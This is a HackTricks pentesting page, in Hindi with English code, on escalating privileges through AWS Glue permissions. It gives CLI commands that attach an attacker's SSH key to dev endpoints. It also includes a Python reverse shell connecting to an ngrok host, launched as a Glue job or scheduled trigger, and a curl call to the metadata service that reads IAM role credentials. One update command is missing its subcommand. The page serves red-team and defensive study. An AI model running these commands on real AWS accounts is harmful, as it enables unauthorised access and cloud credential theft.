AWS - Glue Privesc

Support HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

इन अनुमतियों वाले उपयोगकर्ता एक नया AWS Glue विकास अंत बिंदु सेटअप कर सकते हैं, Glue द्वारा अनुमेय एक मौजूदा सेवा भूमिका को इस अंत बिंदु पर विशिष्ट अनुमतियों के साथ असाइन कर सकते हैं

सेटअप के बाद, हमलावर अंत बिंदु के उदाहरण में SSH कर सकता है, और असाइन की गई भूमिका के IAM क्रेडेंशियल चुरा सकता है:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

गोपनीयता के उद्देश्य के लिए, Glue वर्चुअल मशीन के अंदर IAM क्रेडेंशियल्स का उपयोग करने की सिफारिश की जाती है।

संभावित प्रभाव: निर्दिष्ट Glue सेवा भूमिका तक प्रिवेस्क।

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

इस अनुमति वाले उपयोगकर्ता एक मौजूदा Glue विकास अंत बिंदु की SSH कुंजी को बदल सकते हैं, जिससे SSH पहुंच सक्षम होती है। इससे हमलावर को अंत बिंदु की संलग्न भूमिका के विशेषाधिकारों के साथ आदेश निष्पादित करने की अनुमति मिलती है:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

संभावित प्रभाव: उपयोग की गई गोंद सेवा भूमिका के लिए प्रिवेस्क।

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

उपयोगकर्ता जिनके पास iam:PassRole है, जो glue:CreateJob या glue:UpdateJob के साथ, और glue:StartJobRun या glue:CreateTrigger के साथ मिलकर AWS Glue नौकरी बना या अपडेट कर सकते हैं, किसी भी गोंद सेवा खाते को संलग्न कर सकते हैं, और नौकरी के निष्पादन को प्रारंभ कर सकते हैं। नौकरी की क्षमताओं में मनमाने Python कोड को चलाना शामिल है, जिसका उपयोग एक रिवर्स शेल स्थापित करने के लिए किया जा सकता है। इस रिवर्स शेल का उपयोग फिर IAM क्रेडेंशियल को निकालने के लिए किया जा सकता है जो गोंद नौकरी से जुड़ी भूमिका के हैं, जिससे उस भूमिका के अनुमतियों के आधार पर संभावित अनधिकृत पहुंच या क्रियाएं हो सकती हैं:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

संभावित प्रभाव: निर्दिष्ट ग्लू सेवा भूमिका के लिए प्रिवेस्क।

glue:UpdateJob

केवल अपडेट अनुमति के साथ, एक हमलावर पहले से जुड़े भूमिका के IAM क्रेडेंशियल्स चुरा सकता है।

संभावित प्रभाव: जुड़े हुए ग्लू सेवा भूमिका के लिए प्रिवेस्क।

संदर्भ

Support HackTricks

Last updated